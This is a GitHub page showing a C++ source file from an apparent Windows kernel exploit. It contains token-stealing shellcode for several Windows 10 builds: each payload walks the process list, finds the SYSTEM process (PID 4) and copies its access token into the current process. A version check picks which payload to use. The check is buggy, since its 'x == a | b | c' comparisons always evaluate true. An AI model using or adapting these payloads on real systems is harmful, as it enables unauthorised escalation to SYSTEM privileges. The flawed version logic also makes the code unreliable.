-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathshellcode.cpp
More file actions
117 lines (109 loc) · 3.07 KB
/
Copy pathshellcode.cpp
File metadata and controls
117 lines (109 loc) · 3.07 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#include "shellcode.h"
// Version 19041
unsigned char shellcode_Win10_2004[]=
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\x48\x04\x00\x00"
"\x48\x2d\x48\x04\x00\x00"
"\x48\x8b\x88\x40\x04\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\xb8\x04\x00\x00"
"\x4d\x89\x88\xb8\x04\x00\x00";
// Version 18362
unsigned char shellcode_Win10_1903_1909[]=
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\xf0\x02\x00\x00"
"\x48\x2d\xf0\x02\x00\x00"
"\x48\x8b\x88\xe8\x02\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\x60\x03\x00\x00"
"\x4d\x89\x88\x60\x03\x00\x00";
// Versions: 17763 | 17134 | 16299 | 15063
unsigned char shellcode_Win10_1703_1809[] =
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\xe8\x02\x00\x00"
"\x48\x2d\xe8\x02\x00\x00"
"\x48\x8b\x88\xe0\x02\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\x58\x03\x00\x00"
"\x4d\x89\x88\x58\x03\x00\x00";
// Version 14393
unsigned char shellcode_Win10_1507_1607[] =
"\x48\x31\xc0"
"\x65\x48\x8b\x80\x88\x01\x00\x00"
"\x48\x8b\x80\xb8\x00\x00\x00"
"\x49\x89\xc0"
"\x48\x8b\x80\xf0\x02\x00\x00"
"\x48\x2d\xf0\x02\x00\x00"
"\x48\x8b\x88\xe8\x02\x00\x00"
"\x48\x83\xf9\x04"
"\x75\xe6"
"\x4c\x8b\x88\xb8\x04\x00\x00"
"\x4d\x89\x88\xb8\x04\x00\x00";
int checkVersion()
{
std::cout << "[+] Checking Windows version..." << std::endl;
HMODULE moduleHandle{};
using RtlGetNtVersionNumbersType = void (*)(short*, short*, short*);
if (moduleHandle = LoadLibrary(L"ntdll.dll"))
{
short i = 0, j = 0, p = 0;
RtlGetNtVersionNumbersType RtlGetNtVersionNumbers = reinterpret_cast<RtlGetNtVersionNumbersType>(
GetProcAddress(moduleHandle, "RtlGetNtVersionNumbers"));
if (RtlGetNtVersionNumbers)
{
RtlGetNtVersionNumbers(&i, &j, &p);
printf("[+] Version: Windows %d.%d.%d\n", i, j, p);
}
FreeLibrary(moduleHandle);
return p;
}
}
void getShellcode(unsigned char* shellcode)
{
int N = 63;
if (checkVersion() == 19041)
{
for (int i = 0; i < N; i++)
{
shellcode[i] = shellcode_Win10_2004[i];
}
}
else if (checkVersion() == 18362)
{
for (int i = 0; i < N; i++)
{
shellcode[i] = shellcode_Win10_1903_1909[i];
}
}
else if (checkVersion() == 17763 | 17134 | 16299 | 15063)
{
for (int i = 0; i < N; i++)
{
shellcode[i] = shellcode_Win10_1703_1809[i];
}
}
else if (checkVersion() == 10240 | 10586 | 14393)
{
for (int i = 0; i < N; i++)
{
shellcode[i] = shellcode_Win10_1507_1607[i];
}
}
else
{
std::cout << "[-] Windows version incompatible with payloads. Exiting..." << std::endl;
exit(1);
}
}